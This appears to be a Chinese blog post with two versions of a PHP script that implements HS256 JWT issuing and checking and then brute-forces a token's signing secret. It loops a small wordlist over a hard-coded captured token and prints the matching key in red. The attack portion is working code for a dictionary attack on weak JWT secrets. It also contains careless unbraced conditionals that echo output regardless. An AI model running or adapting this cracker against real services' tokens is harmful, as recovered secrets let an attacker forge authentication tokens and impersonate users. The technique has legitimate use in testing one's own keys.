php 数组 暴力 JWT 密钥

<?php
class JwtBase {
    //头部
    private static $header=array(
        'alg'=>'HS256', //生成signature的算法
        'typ'=>'JWT'  //类型
    );
    //使用HMAC生成信息摘要时所使用的密钥
    private static $key='xxxx';

    /**
     * 获取jwt token
     * @return bool|string
     */
    public static function getToken(array $payload)
    {
        $arr = [
            'iss'=>'yamecent', //该JWT的签发者
            'iat'=>time(), //签发时间
            'exp'=>time()+3600*24*15, //过期时间
            'nbf'=>time(), //该时间之前不接收处理该Token
            'sub'=>'', //面向的用户
            'jti'=>md5(uniqid('JWT').time()) //该Token唯一标识
        ];
        $payload = array_merge($arr,$payload);
        if(is_array($payload))
        {
            $base64header=self::base64UrlEncode(json_encode(self::$header,JSON_UNESCAPED_UNICODE));
            $base64payload=self::base64UrlEncode(json_encode($payload,JSON_UNESCAPED_UNICODE));
            $token=$base64header.'.'.$base64payload.'.'.self::signature($base64header.'.'.$base64payload,self::$key,self::$header['alg']);
            return $token;
        }else{
            return false;
        }
    }

    /**
     * 验证token是否有效,默认验证exp,nbf,iat时间
     * @param string $Token 需要验证的token
     * @return bool|string
     */
    public static function verifyToken($Token,$secret)
    {
        $tokens = explode('.', $Token);
        if (count($tokens) != 3)
            return false;

        list($base64header, $base64payload, $sign) = $tokens;

        //获取jwt算法
        $base64decodeheader = json_decode(self::base64UrlDecode($base64header), JSON_OBJECT_AS_ARRAY);
        echo "验证码为:".self::signature($base64header . '.' . $base64payload, $secret, $base64decodeheader['alg']);
            ECHO "<BR>";
            echo "你输入的验证码为:".$sign;
            ECHO "<BR>";
            echo "密钥是:".$secret;
            if (empty($base64decodeheader['alg']))
            return false;

        //签名验证
        if (self::signature($base64header . '.' . $base64payload, $secret, $base64decodeheader['alg']) !== $sign)
            //echo "<br>密钥不正确<br>";
            return false;
        if (self::signature($base64header . '.' . $base64payload, $secret, $base64decodeheader['alg']) == $sign)
            echo "<br>密钥正确<br>";
            //return false;

        $payload = json_decode(self::base64UrlDecode($base64payload), JSON_OBJECT_AS_ARRAY);

        //签发时间大于当前服务器时间验证失败
        if (isset($payload['iat']) && $payload['iat'] > time())
            return false;

        //过期时间小宇当前服务器时间验证失败
        if (isset($payload['exp']) && $payload['exp'] < time())
            return false;

        //该nbf时间之前不接收处理该Token
        if (isset($payload['nbf']) && $payload['nbf'] > time())
            return false;

        return $payload;
    }

    /**
     * base64UrlEncode  https://jwt.io/ 中base64UrlEncode编码实现
     * @param string $input 需要编码的字符串
     * @return string
     */
    private static function base64UrlEncode($input)
    {
        return str_replace('=', '', strtr(base64_encode($input), '+/', '-_'));
    }

    /**
     * base64UrlEncode https://jwt.io/ 中base64UrlEncode解码实现
     * @param string $input 需要解码的字符串
     * @return bool|string
     */
    private static function base64UrlDecode($input)
    {
        $remainder = strlen($input) % 4;
        if ($remainder) {
            $addlen = 4 - $remainder;
            $input .= str_repeat('=', $addlen);
        }
        return base64_decode(strtr($input, '-_', '+/'));
    }

    /**
     * HMACSHA256签名  https://jwt.io/ 中HMACSHA256签名实现
     * @param string $input 为base64UrlEncode(header).".".base64UrlEncode(payload)
     * @param string $key
     * @param string $alg  算法方式
     * @return mixed
     */
    private static function signature($input, $key, $alg = 'HS256')
    {
        $alg_config=array(
            'HS256'=>'sha256'
        );
        return self::base64UrlEncode(hash_hmac($alg_config[$alg], $input, $key,true));
    }
}
//////////////////////////////1.生成token////////////
$token = JwtBase::getToken(['user_id'=>'0000']);
echo $token;
echo "<br>";

/////////////////////////////2.验证//////////////////////
$secret="xxxx";
    $data_a = JwtBase::verifyToken($token,$secret);
    var_dump($data_a);
    echo "<br>======================================<br>";
    echo "<br>======================================<br>";
/////////////////////////////3.循环验证//////////////////////
$zidian=array(
    'zhouein001',
    'zhouein',
    'zhouein002'
    );
foreach($zidian as $key => $secret ){
    //echo "<br>".$key."<br>";
    //echo $secret."<br>";
    //$secret="xxxxxxxxx";
    $data_a = JwtBase::verifyToken($token,$secret);
    var_dump($data_a);
    echo "<br>============================".$key."===========================<br>";
    }

 

<?php
class JwtBase {
    //头部
    private static $header=array(
        'alg'=>'HS256', //生成signature的算法
        'typ'=>'JWT'  //类型
    );
    //使用HMAC生成信息摘要时所使用的密钥
    private static $key='zhouein';
    /**
     * 获取jwt token
     * @return bool|string
     */
    public static function getToken(array $payload){
        $arr = [
            'iss'=>'zhouein', //该JWT的签发者
            'iat'=>time(), //签发时间
            'exp'=>time()+3600*24*15, //过期时间
            'nbf'=>time(), //该时间之前不接收处理该Token
            'sub'=>'zhouein.com', //面向的用户
            'jti'=>md5(uniqid('JWT').time()) //该Token唯一标识
        ];
        $payload = array_merge($arr,$payload);
        if(is_array($payload))
        {
            $base64header=self::base64UrlEncode(json_encode(self::$header,JSON_UNESCAPED_UNICODE));
            $base64payload=self::base64UrlEncode(json_encode($payload,JSON_UNESCAPED_UNICODE));
            $token=$base64header.'.'.$base64payload.'.'.self::signature($base64header.'.'.$base64payload,self::$key,self::$header['alg']);
            return $token;
        }else{
            return false;
        }
    }
    /**
     * 验证token是否有效,默认验证exp,nbf,iat时间
     * @param string $Token 需要验证的token
     * @return bool|string
     */
    public static function verifyToken($Token,$secret){
        $tokens = explode('.', $Token);
        if (count($tokens) != 3)
            return false;
        list($base64header, $base64payload, $sign) = $tokens;
        //获取jwt算法
        $base64decodeheader = json_decode(self::base64UrlDecode($base64header), JSON_OBJECT_AS_ARRAY);
        //echo "验证码为:".self::signature($base64header . '.' . $base64payload, $secret, $base64decodeheader['alg']);
            //ECHO "<BR>";
            //echo "你输入的验证码为:".$sign;
            //ECHO "<BR>";
            //echo "密钥是:".$secret;
            if (empty($base64decodeheader['alg']))
            return false;
        //签名验证
        if (self::signature($base64header . '.' . $base64payload, $secret, $base64decodeheader['alg']) !== $sign)
            //echo "<br>密钥不正确<br>";
            return false;
        if (self::signature($base64header . '.' . $base64payload, $secret, $base64decodeheader['alg']) == $sign)
            echo "<br>密钥正确:<font size='6' color='red'>".$secret."</font><br>";
            echo "经过计算验证码为:".self::signature($base64header . '.' . $base64payload, $secret, $base64decodeheader['alg']);
            ECHO "<BR>";
            echo "你输入的验证码为:".$sign;
            ECHO "<BR>";
            //return false;
        $payload = json_decode(self::base64UrlDecode($base64payload), JSON_OBJECT_AS_ARRAY);
        //签发时间大于当前服务器时间验证失败
        if (isset($payload['iat']) && $payload['iat'] > time())
            return false;
        //过期时间小宇当前服务器时间验证失败
        if (isset($payload['exp']) && $payload['exp'] < time())
            return false;
        //该nbf时间之前不接收处理该Token
        if (isset($payload['nbf']) && $payload['nbf'] > time())
            return false;
        return $payload;
    }
    /**
     * base64UrlEncode  https://jwt.io/ 中base64UrlEncode编码实现
     * @param string $input 需要编码的字符串
     * @return string
     */
    private static function base64UrlEncode($input){
        return str_replace('=', '', strtr(base64_encode($input), '+/', '-_'));
    }
    /**
     * base64UrlEncode https://jwt.io/ 中base64UrlEncode解码实现
     * @param string $input 需要解码的字符串
     * @return bool|string
     */
    private static function base64UrlDecode($input){
        $remainder = strlen($input) % 4;
        if ($remainder) {
            $addlen = 4 - $remainder;
            $input .= str_repeat('=', $addlen);
        }
        return base64_decode(strtr($input, '-_', '+/'));
    }
    /**
     * HMACSHA256签名  https://jwt.io/ 中HMACSHA256签名实现
     * @param string $input 为base64UrlEncode(header).".".base64UrlEncode(payload)
     * @param string $key
     * @param string $alg  算法方式
     * @return mixed
     */
    private static function signature($input, $key, $alg = 'HS256'){
        $alg_config=array(
            'HS256'=>'sha256'
        );
        return self::base64UrlEncode(hash_hmac($alg_config[$alg], $input, $key,true));
    }
}
//////////////////////////////1.生成token////////////
$token = JwtBase::getToken(['user_id'=>'0000']);
echo $token;
echo "<br>";
/////////////////////////////2.验证//////////////////////
//$secret="zhouein";
    //$data_a = JwtBase::verifyToken($token,$secret);
    //var_dump($data_a);
    //echo "<br>======================================<br>";
    //echo "<br>======================================<br>";
/////////////////////////////3.循环验证//////////////////////
$zidian=array(
    'zhouein001',
    'zhouein',
    'zhouein002',
    '%null%',
    'your-256-bit-secret'
    );
foreach($zidian as $key => $secret ){
    //echo "<br>".$key."<br>";
    //echo $secret."<br>";
    //$secret="zhouein1";
    $token_b='eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJ6aG91ZWluIiwiaWF0IjoxNjQ0NTUyNTYzLCJleHAiOjE2NDU4NDg1NjMsIm5iZiI6MTY0NDU1MjU2Mywic3ViIjoiemhvdWVpbi5jb20iLCJqdGkiOiIxZWU2YzAyMjE5NTYwYTkzNTI5YmZkYTJjNjA1Y2I4OCIsInVzZXJfaWQiOiIwMDAwIn0.FkUBz1iYmMbE9N-AvZD1fMMqeoLjh5zeWaJumAg8Wi0';
    $data_a = JwtBase::verifyToken($token_b,$secret);
    //var_dump($data_a);
    //echo "<br>============================".$key."===========================<br>";
    }